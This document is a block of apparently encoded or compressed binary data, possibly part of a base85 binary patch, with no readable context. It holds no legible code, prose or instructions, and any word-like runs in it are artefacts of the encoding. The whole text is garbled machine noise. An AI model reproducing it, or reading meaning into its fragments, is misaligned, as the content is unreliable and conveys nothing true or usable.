z{A^P>9&Ra@!|L4%)H5a4;{5eaih8#)1ny(;rKo2Lp2zu@hQm4|OF4dm7oTNbQ3LU3 z<+|`Pb8aP!1YMqt7s_4XA~^|uO>PEbKe_RYzhicJzAtl)pPRGB!e7dHFrLTHW<|nh z!4p8xva_=&o^a`CK**IGO`6;}Oo<6+g`#T(g}D&#N`HR7|XIQ|LGt>gm4bw;Y_ zIK}tFSik!$-BZTCo7ms;VDov78R2=fjP*^N;u(2x&I_o+#B{UEQ)j2@X~c6Br&r3m z;I*FhKC0q#w<}J+C^OGjJ?}QV=N?cz4P!o%na>d!f1P+tu7bbyd`iBE_|KkyHJ``+ zoOs^z-*WvxU{ZC@HDvT^(siD1l+m|Iw|c%^#y+2Pm*;zA?4L>M`*~V@KVJl^@6PJ` zdDLu@`tGd0pD#sRcO!c`N$;%lsL7;0dKNuEMt>*io;*+Mp1e>K*7p- z)_JDJKqj)&1J#c~Upm-{*J#Zlx?&Zyc zx^VvUj3X!KB6xya3S*Hjj@nP2;aPVw>o$45#V_z#3*|I8&m1U+^Uc+;j>(%mZ;_iJ z{*vdNay;T?p7+QJh=1VuV;Ohex=4 zKNhdVXP>&l^VKry|I`hhb!IEiA%2_1ng3JuWaRvm?r`S+)cuM_!i_zv*Idg}I={|3 zzpV39s5|yUwL6Z$J*l!;`*d$s!5n^P~>82Tz1b4`7JozAuxm;~4;pffV!_&6PWw5=ktKCiO?BBf~#^1Y| z)5z8NB8>axUw>$B&eK+u2%_coMo=JAI>q~Sp#0>Ie1R5L%h)9ZvG;3 zDAt$yqG#-Tt|jzA#COZg;Vl_`Nqx`r0U7H{J#2P)9+A=C)UQ2%D?fp_dKZFRQva}c zJw8jl3oQu*rdP9gDC#pEYjbs;2iKG@!Z(^5)P`@7eD)deE-fser}IpKhCHnqZc#o z&}aL=^=0Hc<6h4X$ommj@9NW!DUO=V2sejve(YEGEY9CWW2V48WPUc-JB}aZjUT5m ziHJ{>Ie)6gaD19KUj1TyW~g7R&y4jprUCjeW0QOW-ewMCZZF7t;5W@zmce`FQ!sMn zTCSuIny=1=Kl7~n^XfdrPbyA-Z@y+8TxE9iUz9QD)0cX_!hBT%;@5hKmjS^c_Z4C0IRT;{BPU4?o)z0%@W*MN1tuI>YGP&^OT`Ks9*F1ENcddVKu3`hJm z&u_>B5P!$>`!ehKx%sM0_)D4joG@Qq3qCC~pI_tx_%|7Q>}j3Bt6Bg5TD)eRKp^ch zIRw5^MxJSy*X0}o*Ork_n$F>J%PKfRaoTzsXjL7Kx43hH zd?Vu4(?BcwNyYK}v>~2{%NdA|^_*f3M=#Q*d45{ng!r?b7s!Q(XM4^yN7O`ojb}Tv z?*9**X5V?tJ2WO0(r*;#SAyLv^Dj8u29g z9Gq-s9cBjmj`ht9_B|9<-y@ih`p*BB=FAoL*?;=L_8lqkPc~ejI9(`n{C3YT%FOw7 z&$_DvsKHEphUdt6zuXG(L!Nb42QDK1o#OHE4{{o;@3C&o-xjZioM&OpoZq>Ij6FE( zI?p&uZp<5q-|G2x8GB$>nCFJ(OEVCE#B);_cjT;=o?Dx*C_y~db9?zU#JhU#DeppD z@762mp%$-^3Xk%vJG{mm#I3*8oUOmrYFtFz`fIlSR=e_2#FyAS&dX%fY}OjjcCM>k z$vWtrTP+fP*~V1kx~#v|s&S0^dji6_4hLDh1u%wWteC7T^iE}zQ>yffA8kx zJdM41+Q{<|w=-MqO3rU*v)ZL0aBmyKeKOn5X0^*v+u3$kSG)WSoNQy9$C|HbfcQ*( z7W;1YGu}Lyi}|>DGUZB)S?>8cvzw>Ld`T$A6q_$a?`Go+a2{vuEoaO<`)#wE|6Q4D z{J`_aGM+#CsOPWESHvK$b6SIAbWUrO!@7sRD}(>*#s^MeKhHs9k%L+H@F|R$Q%iBW zw!8=akLNq&(}-K|0;lNvEq)sNYL4|T;M~mO-v8qd8HlXD^kJ+p|}BzE;jh{3g%;C!;>k*7w{%MxM_$F*DC+AD6Lb zp4B-$Ne6pc3EMj~aFX_V`fN|l$vpeWxp1QAB$@e-@jO9hKI-GiR9JmHSphGyG0s`? zw}`LMXZhS!ayDEb^I3&*2^{QiDIDzYF8D1Q@JV?X zjJk0DOr~+(oU!h?m;7)1+{^zrX6`kfulL5QU;OjGbJedg$a(GqHpcm38F|iq%ySF* zBI41W+nL7(5bx}{yE$bJ;(a|2lrs?5eVan7cav(tlWdH$?%PS|#aztAwL8xN9CFN<62#Ye-Y6eNe5>ajGS~H*=Qqq_FGXCvbAI3ADcFN^)jQ`;6z5uWHr=|g zpP0`?^lh%rrt{AhcWbHgj67U_v95W#W4W$**I9f_A$+svTjesu>v_IQ#(eW0^!$jK zYni9B>D*Frj&JKZ);u8rarM_({he?OarM`Epp8$#hL|_P^Jw$LRK%xv#^1a8pkMQ5 zd!8#ZpG?o$X4Y-qYR~HRq=tw;uQ;thV}nRaprv1JT@FY@A+>z8UOx&b+w;9L z_R0K*JU=QQL%g|X4RqOjrpH>);oG~JmNb0&Zjh{E8;r)lj&a-AAtYH2l~KTabGRC zOfG}3kuSp6o4KzR=w0l5o8qYVf>6(4GC!+(fct8J?tyWr^8(!i&bkN2F`u^fS!dk? zKTIe@T>HUU`ypit;@S_~p9{1f zQVzq}Hb3|00__L>`NRd<56;>TDd!N^esI=);9gzulFj41Q)ZrJp7+Rn?mjc`q6Hty zjo?pZ?5hP|$i?t+&$>4zl^|ZJIDJO0fd7=)ufNPFQy~2k&%yV8ZN#-tCezv{lk39B zkG*il-#a%(yuRlKay;VNC)~H`+9%wr>DnjG+9#6-Al}|S%YB=!y}|o1y_e$1KV5eP z_g?xCi#rcDbMK{(^_(JOkEKtOE8wTi<7>gsdR}1WeoJ5Cd6|3+@l~GJnp46N$DU(N zQcB<=xfFiU^D8pv*)4M|Z3HGpfR-Wiir*3 z-xa6zPT}2~f!Z;DXXN3Gwea6n``5^Wo>T+zTVy;p<3BRy%+P+|J2XT4VNy@{0gXXV zG9H%mVC@IqjTyoH&=}Ue!Miad*2YgB00;L2_DP2J1NTXW_QM#|GsD{t8Q2ueng2dY z#zYy5&A^&noK7>3kB8@)xd$@Ri{&EV%{&c9V=o+X}3WzPSG z=eOlEh`;ao1DVhL#PjFoiF|H_jP+%lknzlnN;B`749x5L*buJrd{M?c3on&>!dJ*C z@U@mutM6m+tcB|PSkC{Ljd5-vw?Z6!a(&qkqsPui;EtZV$k_V} zdz-n(7WR`9VeJQ(kM_glaKxwB7~V4rQ6tXJ{j+e6j2bMQXXf3qFw=9knfJ`X=VY#H zjf_3Buux8di_GKsT-^iCx(B%57Vfq&+;0nY5AZwiLiOEQedoWsurS#7>ahCG`)A=d zHV@xx3%`@OuAgMidDhH*vam`{g|SZ7VPXmX`*)a^<~~_eL&h2x)slO{wdE8zc=qW# z6wiZ$?}EngeHNcQ0Di(eAq_^q`K$>C;ST1MOt`aL0uMCv->q4so=ynBqx9JrSZACy zT=bO1Cx^h(1$T?0J}s`Y#^sdAuBoxcd8TC9M9Qz@A+^$Hq9%lfw|tG@s;Wv*qS+f!Woe(Cq3^ zZ2qPe#+1mc!!8+XT3lv!`J;|pqcdvZ%=`~|{!C^LUwPJ<{Wb&f?-i$YX1_)5i`8rA z^ET#00RLV$e(+h&)n)uOv!-XP!Hq#3GLh52u4`sZGV6QRnLUa6Wa|5y^CKFA{gc_+ z{B0jNN=|~?d+sD7$;<&});TlL%sOW#n_1_~v2qAJMNWWI&EGQ5IiBaq`G_y}yi_hi ze5L2rX6}v54W6HuS)U!AUy?5(zRPo&`6TCg*R#IEyLx`CICIu_cvnO9-C2F-dCb(g zK7u-Bs@I?6tYqTZ>=(TxU_KfSU*Y*`IR^2YJpZ4WHD7|Yxp}aTB@Jc9)zi=EruuAS zxTPEetJf77aID3h)$58p#IXj>@7z-^KwM|}ixhaI#lK)&XW4m@;#G+2EFa}_XKJ2E zc%IC8kcWHL99X@spqDGoJU5z;oP#%;T@BS=XZ81JbBsYZ5(&U{4v>U44|kLE|w`Rz34k z%#n4M`B-hZq31^CFY(tb_0(DK+%M4|{(E=Kfq7=3*3O*2qvtMiKH|vF0i8uajvm5`e z%<&(1<8?OO{Kpl~!#xcYU!*v#UVl{quTY#`C7*y%BR3~qX#N`e zWa)O#FUrjGRnNO+=C;@Kdot^MP(BSGHoN*9^{nq>6}2(uJH=^zAFBw3&niyq-mVD4 ze_yz|#lOmcYsh=x>tysa`$jX@m3^y>wPfEeBmeBXJ>M%M|LlikdDi^@o17Fkq6)%EEn|ao<$IH3!Q}PK|cQx;jY^;<0a^o|-@w$`0#y@jJco<>rs`FwcG&vFt;hKQkZV8g(Z->pgo2cSE-BWapnWp1nBd zxk~;Eaec2o1TVW(@r$s|^&wj4`V-W3SsfeWTvr}|xcc}Btv(*1AG0xB*D{^okFl<0 zk&4qXX0ByfXV2YbtZP|c&jZbF{t4!f(4%FOW$cS(Gd$0d(d%XNJuj4#5mz5SqMuW| z5?<$dqxoa>f7w>gJLIK^mwMhMbM5->hCOC{hf6bR)3w<-`U79C&@nRj5YHN&JIC*lIN*1pF7j@Gcx*~ zv)D7%@8%hU_)5>K~zRvkbW^SLzT>CM(0>%&K zGwTF=%JYxr*|ib>Rp#3NkbA;^%gA9l=5Xsmp3Bu=_Hj9WFg`N{uIm|dx#xx=u3ocW z%kNVhc`gt3nr@;v@?GB2b8GYLnuy1GZZG3G%Q3IZjYi(iVX*Gx*$v^riYLG$JnOEW zorw5E#cAEuv$^(Q-|1lA(YNL3lY17ODQ}0@m|cC=%dF29&lu?x z=e;tXx%`0V;2vNNk0?%idtmtq#aY|a=GoQZUu4!z=Y4i4tn=>brt>}<`z=@Jowdr< zd1rlcuh%^EO>zm0x!f8#9{q4mf*ZH>J}z^f;2ywQa@$&*XEQgr2O7fYrK>;3 z2loJR06p=@6I~!qnjbF^X{zkKKe<-)oW*+_tE)?tJlsIn!gzFA3Xmo zS0Vnp=kw+-h#b2JukysBkz;?g^{EqiFS)|1HK9>Mz&3LjC0$ zSE#?E2f*s@=p;D7=5$7H*z3`#{|eN?8EagjGd}tvjENa%UskBUqmb8%sTOyhAy*>) zjOY1gms_UiY?*ng*DhzBahLNZjbZ*e6R=l7%^VAt1T?)Uh_%2vyeDq-$dAoJd z`(=DDTXD$jdW65{82;Y-ic@B{-XG0wjlX&RQ$B(5I?G(+%1bOhx-P7hFOwu=@K!BUt@)R)0T0zAMXZPG|M^gJi@%Rh<4pJ^>&1eA4_O=dbjPXEWyyu?JVG z*Uo<_z9$fPPQCt+zTDymqha;hS$FusV#Moc42}K4`47GbtJlsAEY9zo&#Awx!*l8{ z*Zy3Djd50gKj?{gyyA3%jI}@4+jBn|b$D)w=iz47;kmJ%Q)JZPxoMuCmbvz4Jufi3 zwJ-6!OfJUwJkR+u>wstcTN9mkSBF(6*=O56z&)vGdv@r)0 z5!W6#m!X7QK!7Mo;R4^WByw`?=Zj5@pv9{bKYg%hZ^U-?fG4~7UCax z{#cGg{0q-t$*j*w&)>_(5I^hrcQfm=s=Ar=S*2d@L48)?+02vmSykKoP9wOk=MZ@c z;tf3CC!@xz9`>v={%#uLEiCRFA?G6=>$$yr1o5t(d&*xU-rw_Jb2;j>YJ_LJthko) zBE%xsHt~Pewe%bEu4Swpx3joYs4s=Vi6_fb-)vp0!=w+H;hggt+#=dvqto znUBu?dvssL)8RzV_zc&@v$k6AbZ6ZO`>;<|>z;Rh+Q#qWvvkip>z?1oXK4>OFVpyg zhzIuoov%3d!|FmA`(bsF`2g$oqUTrSIf(1dKR~~w_&iv5KKH}w1Bw^JpLqUU#vWK* z;rWDo2Jv&|J!4_ih4tZnSQC&-;p%4Yhcz|L?E9KpW}c%pb!5!3rmmTNToWpzhHJvi z@8h{^8p#~r*t{Qku4(QWpLhE|fOxd$cJdX7cb1XYn(i{@UeiyGhX=`g?szlTyGCc< zt#^jvT<dhNW(;_o2eHR`pi!wQSPn~yktFlXL5YYOC4c#F*SZa2I7sMqf? zAD#X8GU2yu4EN`ncg*{0!Rod1M~d@V>NWT08olfH&4W*9%t83Hd<;Hg=H6SQJ#b)b zAdr8l#rNW~`KT|~vNsdHR>tS@Z;+8&{{NY|-u&C-u5hT#F=6KSYQPVg_u=RBACb}X z{MP2Zbzq(My&NOr8SbMX@oo|)v zB3{qTv%mH(ne*K5`5~EeHZvbUuh-&-%O@VzS$?xR+|lB1eg^9-JNLHuTd2?4fu4uR zNr;c}Ji*L&+}c@+XTZ9{-(sE%6{nZT%oF`)Zg0_fas|BJGy3huoJM?`=NIH(5Z~$f zbu-EzSc~WJvu`su>;q@iW-ZqIuaA1;e=xt9k1;>XtdHK^u0H22{#Ktr0Nc=VLrvD9 zrks;?Sa+j&CvskQi}_XbVcqSX@08OJZ|J#^jNI2X_56gnECKP>o^^i9x*)Fe>#Xz3 zUauQq<6S<9nv?k?%gkY{`8CF;cutj55TEUNu6b7x;)~=mI7>bPukgIeyt^yn1#(Zg zP(BB5_xz&yjarDm=2_p<-e8^IQJj8XE{8w%tg~EJ2XWoi&c|&`Su@1-UETR7#aUT(Kvwdd>Pd5CKdl+piDJQLO)D5LLIycE{CE~9m>%MQbjX$;*$ zu7o2!$C%mo^*zn(`}#g+?!)!So9lWNeP5qseys!^>ly3e81{GlG#UL}ukUHQj=;e^ zK&RW7*9XAb1I{^$<2mc`MTc{~PV0>CJ_m2MxU z$jn}^M}Dr4^f9>^e8Tf-IRSCpDQ-Odn~a*R|I70~GU`-txo6$&WqF9-pg4WATngXj zxt@F&@q0W6_W=4^fHk{(Xyi?^zXdU7_O~G3%>EX1lhNOTUS{^UV36mbX7;yWl#Kos zjFXSRQ$5cx@5b{Bo{@XP^W}4Jrsr%kdsm>d@4QxVtf`>TGxFfN-Y7@>CC@wMi-;pX zSBExT+!M>w+1xGZ7J|?4&1t;YcIC%EiqhA%L|By@JzyIeA$kF9+I1tzn z>@|I@;^@(an>_!Ynf=;uulcn|_yKt`94_Oz8}M_Se^(7y?`!9dila^&y344?2EDI& z9ycT_PLDOe9)R%-&grbP{5t2Er8xbpjJ>pBq30!X72>&`kt^rijodc`&oZs|_3mO= zXW97$jW0o5J>5+sDL2nKc#oO;WCQjA<8L&CKlFS^ZjAUBGRAKBNud z*ck4U4R{{s=iR=+JJ%b$bG z+h$jv_dS1LcD4G{b8rtd#yrOrr-OR{dt>8IiqmK16L6K;)%>E2nr}jlT%G9}GHSo+ zI?p%CiHQHl^Br;u;&*%2+2?y<)5D6>P2^Izh35$QFyg^IK(|-C67K4`r;UKgs5BeP-kabyv!K04p1 zIja!A)${F|Clc|yJl`XyA>PPyW0~_m;klJuf_RkYIJpe*PM*8T%pZG;b>2D;PBL$c zhsSuHV15C)6i)T5p1y$372@-p$2mhjh&XEP;`DO)5WL#+I&&#%S@^u?tunsz7GiCj zr<5)=^KL18*X;7&XWoXNFT^uA-uW~04zBAfxhwpQoC1IES!a1iHsa?Lr_n#RmOAi1 zGS>e5rSe$#D$jafzi+pO>i*xPI_w?Myydwnh!Jdc7p@@(3JW#tWS>2 z`mFN2R%T5$d)7PM)#oLPyZY#z?&|ZF;;hd*GV61|?CSH8+!gT(v#SrD7u*}qSDJUQ zZfE3dxXSzjbG|6!bDOK1na}1LGIH2l%ltB8n`_H8;oCf`*RLR-&G@|A!-hH^5D zxftJB1UHk5;YiOhatY!+%-b->X1$|dz|U_UWO1Iy&3Z@kylhrax1ood^^WE~**r({ z9E9hYan%MkFZQgnyd5>zjNUU(=X^N?@lBq$$e3@lzME~QUsgO5eqH8s-;`1N&E=l= zn~V8eooi>E>tfV~wzJ}>&6e)+ zF}SbifpR6{BRr2bzkqsf(SG1Q*`ocxJ-;PQV@|+x%rDl2b;e5qu=WPe>6RQD!?U?% zrHplKS!?Eb+_FKAfiVH=!}GWWHKMr>w_t7bcJyw`9ytNtXLhyvP;QF&r*c>L3wZ*3 zT+W71%B&}9!TH@9&&XV3m6_*y%S9P$DZ-jvZuneLE%SE7if-|&?`GSPXHk8NbAJ{! zkZZ#anwfvmBQo+Y(tCUd@-NbRd5(M+dRB)i*&}>$0GHb zeJRp?&UF>3*DrC-RQoLNq9XO0@86=i7BA&^^|~|}R!?^{gZ1uqIjg57*bhZ|cbC+F zOKl$RhoW7YGX#FyoBv%o67df_e=PI4M?HUS-idsRzLWFeALN7ZdGpI$%il8kwe@n( zSDCr?t=F5mKeyf_7^T--CISnpQ#j`iHy zQSkw=&TJ{&TX8;jpywgxoq34k=Q!uie0Z#U8h+aBo;%yjK5kv$d69fI;>$d*keMgu zbvZN70yEziTVFJnOo3mKE8*Rq^)7z7CgSf|+*$8pd@Qi_u*IE^$TbjGPhX+GRh)fM zPhF3GRvdY4{oS*A{mMDq9e4)wcgFhNT9D5+tU0)@ZP&?>h~F%uuG?-kbG_T{F_&C~ z)$5l~?``NS=W)gvpkGGawzcxy#{3GNzb(#l2N`SJ*3EM-8SC9Pz;mKpfcQu=&)~K( zW|!v-^Gj)n&yrEsZSy@ZG{1~}yDi&uu3U-u8o3HyZ)PvHZT5`fa=owAMf@etJ7w0P z%t+2>x`-cRwau+IL=^l-(K;BlTOnt4XHr+Q8^^B&;$Ev|+4&-M%%due;NXYB{K zu1yv%X^t^lG={n9`@$2#sPxGukuESlsLw$5s z9}8Fq_0i>{KDr##M`!hMO(MptkIw3&d#?KEtUkJDsgKU;mR_M)v8siMyXY+R*k}{l_KPvFog7n(P-5o3?cL*Oon0332{P) zAw(fgC!?i*OH*NKDz#3j$<$Ih{XF654gu9wY(rR|9{Kb@T|bIH)*kM#Sdw@To16h|FD`kR~ie{@A)_4sVgpQ$*V<$jyb;*Mkf zX7%_x5ybEExLG|urw!t{9yeoce0I*ch(8%vJw9g;;;Oq@b)U<%%<}PO)qU<&h^y{q z)&1QR#8r2*>i#b0DfM~GYh=v*k?L!E60I-SzSGCpp6qhJU5)t9f%m&@?YgVY$2>j< z`4lw{+)Tzk6sgwSlcJLp$37Hw39MRk?M0_~+}vBnJ`@cIe72i^@3Uxd;B=Yu3=4dv zjD08?@8&-TF1k_1o)zItvv#xV;7M{ltUG)*{gB7s=6dsGyuYYG#+fR5R?dU}CF9qN zUJk6g{q5<9&rzIKt>0#z3q1Y~&U}$-{Z0+M)Z;uqMJr^iyXecnU&|SYe=BFhTV$-S zs4{SsoQt^XK6ePLy0aD^M|=#=&&RQHDID*92eFS6K*Xq%r$o^|I~BGLPHZ z*Scp<#+YwpzPG|{@7?B}lZyBcfp^P%@2_$-{JYHe{^7Rw9+k1@pR{nl9Sf_MdHz39 zP5IAWKEcmf-*<<=s;Rk;;=>VFP2a`desYfD*w0T?$2okL>Np4a@b@{KlWYG3&zR@I zsk5>_nCQcdEkvQ*Sp35La*7dJp)RGjQ%cIda?! zu|BTxj0*f-JuYy(djRUTuyx>eGWKC%=fK_M35cH>xR-nz;{9dp!$Rz@?Jf3U;ok#a z=spuQT6lS2oDYsa6LT!QCh&DK_F>`mfp3!MBYu0}yX0cTrv%1bWAkI*7XH)CeOvgf z%>8*O@GEi+;%^4VhaTtYpN6>VZjRQS@o3$-htaxcz|p#Me^hs#jfLetr#V`8=B8e@ zy{hyvwm<4+^IpZdKkDT(=|hUo$M5qafiZ7%ABx+!xevvOGWMakYv7aJ19~E!Dq~&6 zSSRNhFcCgW#=44ezgQgWD!w4_#cr;pI9hA^D#cOv;%Keuv5I3Y#Wx4WIkWt^F7^AF zwEF$b68K3UbH*AtT5GQBUy9SwT35lZdA$ELSheoYIp0&9{!m68it#~cYvg(t$*6zv zionrYb06@R<;?Y#%h>PY&4IVdNr?aIK7(slO$RXkhsOtS|BuQTv#61bd=@p8@lO8z zGJ9_XR;{`Ji#jPztJXYAi+U=~Ia6iq=OWdV=VXz3nfJ+}OMHy^a(Dk6#IFpjUhY2y zan;nUULJt=EV{+Vb6tzn%L9hMlNG1&yzO}goF{X=`7+n5TCi$&31 z&Vql@oXp|3C?voKPhAEr_adD=Xp2(|8}4LJMgPA?&eQt%SAB8aSttL{Muhe-_oz~y^8}c zm(vhm6dd2BYGWYzuz~9T`5U-Xe!~5i!uzLJ8`jFzU!|HMV|H&3NP#pDI ztR8=jZlQQFoaE*{FHUy9G7#<=I8~m4_!%*uVFtItH;gyyyku`zF%YLhh(l@J#PC@pg7k%({1Z5blZC04*agn z^DP-v_7w2 z#T-kn@Mp~yC9Sc~;M2 z&zJm5=Dxig_%#`GEYW#*jn;YKSz3ZzxhF4I!q`(g8&lwwGGa?syLmR2eC>WM4vzLd z*RoY{dWXzBcgf82CmHWta@hUyZ1{-#m1+2QRbyqmcPZY%e0YB@ZFhY9(vBK45b^GT zd&tOtX>XbH^m7+-{MmuelabrfivnNjewF!*2%I4oA)XaDTgLt@4QjpgHjlH`OYaGM zpN#!kIyLa4GV}RIVBPtw*U}dhr~fT;f1*8J4}akC!Z;YY+8%OFj5A|ROI6dCQ{k^X z{xa^frK+h}_c{MNB1>^T_^i1~#(peSU%yPNuXz_O!&r`g4DVmo$eoY%F2i0hZccDN zjx(@K^);)$kIzF~y=*?!#~0Kgj=4CGxxf1<+!@Q%%jUl;J{a*~Zp-INcRt20yEgC` z_v3kpPY9eNGoQNy-|My<9t!-3`zh@IvVy?VWajgV+w#HZobAaV#ODNlU&dKmwjl5) z?#HtcUn(=V74Cv~c#VubUREYghjnlB&m&s4S@F5>_P{%3?(?3&Kf9l5gSdXLZB{Qo zm4yG#Kty9`_3~3#@AB3j=X#f`*7?|vZ&8%L2 zVkY9cx6Qh@3z&oM?Se_L?(KqH81vfs;hb6W5?FOF*a+t+UJ2hRV^5Z=m!IkhKjv{; z*OP8r3+A<&a*Z?OZLsQY>r&k<&v$%`<@uh>JpU^*&yQv1xlCrBpUKSg3z>PYbz7dQ zZ+;%)s&9T3tooW&U!JSwwf-#oZaL=STAmmLACs|vB@N|#xLM$q?k7_aKPhl~c?9Cg zfiaHrKZ*C2oF2H3jJ21X8TcHz8u9Z3>kfYs`IZb-oW}b&Klip|RN&F_WW=uze3Q)g z-Y#R$OY}XB{a!M~nJG+Tq<+^uVl`@&RtLmM|+$(Z}qt4x!0YKeJc4?=J~yY=3k+{E{MSD>jFHtLVa!H)z<|Th!57Y zbb2t)Rqn^j5LZnf#~N3RRh(8$pGbvo(X(lAw5C}5iph%8Q{+kT!!p;X9_O98;vb50 zjnBwj;|p${hZX;p2g0)g&z7;K6(6}DFNPP&6>y2$_FVNX$U;2m7p)t7&+`)8_e zUKOnRnpNMteTZMEXX#7a{BJ*gc8#0s`s_M+HmsWF(l;qy2CJsIwE8p`b@}W8jiINy zr>=n?5B!u|j`;I|)w2)duzvQc#~&_*)w6jM;kh2SeV8ZbAzl<1HD>SRRU*Dz-UqLA z+j`f#a|;pQBxCN+z6<=l%>1hZV=m5bYyUm)A@@Ux7=QG*S2mDG;QycBG;j-f0^+Cv z=X{99^Jc7frRx3=t-3#y53BBG)%~Gb#8r2*>OK{7uS5@UPIJ2Z;mL?!9(cHn^R`mw z;bB_mfpu9qUSmq(8{K(5VdTg8^H7VGILGGM@O^=CMlC)c@kawcA#X$cX&HOG@;Nu_ zwQ`o5=W`|I9EejRPNz1je$!Wx*tx3)%)g_iVsA*UEq%LAjG=`K1D`dN_7U< zFQxrFo|gnid!If}an!5yBANMIDq}6BBLiP8PeVLQo(*Tq*zeMuz!T*P#P5-@H>ElQ zk6?dFRqLtD=N~?1>KU+VZGOSy4-Z1TQ0BU3X-?)pM`q6N%gjyR+w+*)CyJND`re*L zuTY%1tqEM_wmfwP%$pUD$9R3OdxYMpIL>G3e)m+y54bJ=dKvkD9&xi@K5rr;|IeGt z$p7;bW#s>PTX`egN!|x{b+a!%PjgS@`2O+|_*{+W{C}4V;9>3#sQc$v%FE$v1CMbh zVXr=)5I9G!Lj3N)_qsbJApTI`N8}X5{~7pMc_QL327Xy)&e#j~R400_j2}P$PvDPa zu2=Q#M614?BQVy$d2GGdM>FRBTz%bvR$nKT!n=Ho`6syw@!G(3?oP3YtFP%*>g!G^ zu2B{-2=~<(T6a6wxJorOU+81F-c`|>&V;Y=ct^Z* zm1^1%?_4$B<4M?$RY6Txp&qv9Z4g)gcB0k4wie`PW4OkAc@iA0FY}MqcOD$AFLPFX zEzfuT*$&L}1Gx_VIPfBON9IrxxK!p^)&~AY9)fs9;BE30#D5IDN9I1%1g@3w+^QqT zy&C6;Yfl;xiL8zb94}-4R-Y8Oy^Q@?og5f@XY=GDo*Fn!#=fmSTdso7b9cgeSEtLE zV>Q-kwZOVo50|n3tFMxmz@r0?ld;~_HwC^`#vZJW)}2<}S+CVk_?QlBVBOmt%HZb| zr(clQ!G(cmxjQBxu6x_8dzq4+=;d2sC=X}sG!7~T+A_jbo@ z#J4L>>)!5oCmcNk^v@bI1Fj8RC(lJ({oWB?qkiwW5pJe2v_8i>Zi96m%+d2O0r6xX zpG0GAb{=kqPY>Kj&PDvpz~{)b5I;Y#KGTyb5Fe^|6+FV-DG?qeRcTy7K^8(`; z+aKI>YZeAxEKfrGGnwmMCGUfEKP1t*A3DXu*dxoCM&4%b$q#{d%YzaBCGc#pdO3hPdIU?2Q%AM+sNSP$nn&z9#St~=pD`ag;n!;1pzPI#~u@lwUgC*cc$>$6-w0Q_YcpW=ta-1;4|2SE)_hQL)at89;8+>&{i=E3R_;Sn z5N{h;J$oo0@ve%~C(AffU!gWUONZz*xeh)j@ZV(A^ef%rhv-W^UWYlp%5>La-@eL{ z`@=W54{|Lx%SrGZf$x@65LZnP(hnVCz&i|^9uT6(%2SyKYjkTi@ zpRYMNzDP#Rzgq0J`IpQ2h_8~lCtu3wv#46M)YgUlb#GY6iBudsLY z0gNw;)p+DnhBL(YLA;d)h5%V(k9#eAYQWj^Xz%SSb}_iobs6EH?Kt>v@d zD^9DX2YSN$JZ`R$vk^ZO_)j?x|Lye#fg8){-?c3QpCIErtW9)tpVub2xvsU{W#qHA zhddqb9k`!71M#y1pC@A<)~37blHnmT&coVKZtnlu(K7aYt@@YyzgGQQyAf9Zn$^Fx z%vrTItA7uqA+B1R)xQS{5P#m^WqwiSKB$*%A9Mx|)*=3$k1>DfKE(My3H+(deOn=O z-#(YQ54x*)9@gr67th1mXx+IFs(WoF{Ifr6-Y-u?{D|hnJYUDS>)OCg1FP1Y|Ld+E zzdjK@S3i%)R>9ed9KG zk;ZeLl3;wPT!Z*mf!E2LM|ZF7=T48`Sd92jfq!vZo(E*+dDzX|)?vT7=jKK-=3f`@ zz6~{9mmp)`)}eo_UbEp8H}`6t?%|uT_I0|4bCA!vGkr`>8GMf0-gUm)=2uNwmvtE) zXD!xcx^F0g@eaP%Ji%@6z0Ga!y;IJ^`1=B@H!Yt>J#P6tA#=UYxNnKT>djk|;D3AE ztlqqJ2I6lkPQNR2Kj*t`UC5g`+qzb|udl?I)$SXr;IC!Wdfj^WgmQRG;O}IP!8rTFD3jQn>_32Heu=@07>}z=&A8$@{=foo3C9v+~ zoHWEwQ=INC&D+mK?0BT%XJ4;fkX!<@zjUUCPIL{FV{$jdD4R zU*tTuaL!4AC%aj@a-9M5!-}JJaI>f18m&ppm_UjBu9LQhzCviV!ZYY@kM!FNrdE8Wat`7b%VqFoZr1vnD+6C6$04pe{1#fD(L4{|+^RA39dZGDZ{P>ya>O4A{J5KE zJeWXSZ5$@ zFydQ1Zr&jeL3~%>pX5o1?+<)Ho`N{u!93I8_1Is!Z#vv0u+Bi=p@^TTINjFW4{KlF zDR5UA`?mh{z&Zo{`Xhd(;r(~#!|-TCJ86h}TAE(v_Oj2|~#8Cdujo(alb605KF{z5eFsR(fK_+1>Ym2hsqSVxZ+nuDcwOLn z`K3r?W5d8r+9e_zye zqwat6Wg1_AxXwdgTIZqfE3nRkS?8fI*1ZvXVehJibspG98+9J~;Y@DSdFYn`KkVbp zI7584-_3~sBe3p-e$x?uL2+7lLO<^3EXC0~8)wV&;dz1abDO^mah;8R^kR?mTy6Zy z&2zPJox3;Iv2kUYKILvlHM^tiuO@Atu;ecR0AW}SgPGZ5FE zZ|vXzJp-Zy)X9vTh-mHy7R1l`=;ik z-;q(5Z=?5rEv!4CAM?@u&vW>#?gZXB-+u1Tn)N-fANNY%0nEA+cvpXmy|A-X2;;1n z=fhb4U*0E|A$}n6VK>j)rlxM5w@v!~&%0}r>TZtKy$12FK0Xb(Z8}-bfK_+iOPf@8 z-rJj^b*H0sN1mJ1?`ia9J`eYQlj_d>-=w6Z%);i48+r9?8D}Pfd|Qx5Wg_+C2sc7=HY>_lBXelom>l# zb+eB)-y|o&x5{|`=DXzn@c+qN%R_-5kuwo5kPBhFFWNhs{}uQpnS1qm;J4hY%jN~{ zUd;0ockdDK(!eX^iHM^fd>8Nb&6wAWbGms$;OL!?95-)QoZji~lMU|){Ikq?4hH^1 zo)L*u;GKLI>t4}Fu7Ts-tb0X*Tnx99OW=;~zHQ)caw2?+JPGb4V;?H|x>>J^fimh< zq4U6=s?d2b>pb*h4#PAab*Z>go&}E%JkHJiueig_J+HW1#y(WsFJs>-bOw5J&V0q^ z!T2@X|26P)fz|tcI1iq&eWQ_wc{V&po(sP(b8mGXY@c-=`qUu4+{f^qtXL^?-|!6Q z$uUDwPPT;G*~*Y>9#Mh$3wUTk?-u7w|yIp%qHpLqC1c?kTf+urqtj6L2mH!yOt{Ob_^ zDDXnJ<@2SxZxzOTEi;F2H6HnH*&^q{)$Xww@IHAO{CnU-@;1bEZ;yrlr+a%W?*9Mj z-ZrbIV=?#t+UZ%kqg(^4Psh^g({XXI`qZpG9oGhN^&|8ApZam^Td?}ktbQC@f%vt0 z7d=L1o)ZG+$jnW>X*u8PaeMFM8pHQKCG)-01J97l5Pv1`>oVV~&tlu3_Y~)QivkzB z?Y*lN=X>?}YinGuICIz(JX;wUwdXmpd7^dXJkdJx*=QZ%tQYe4ef9 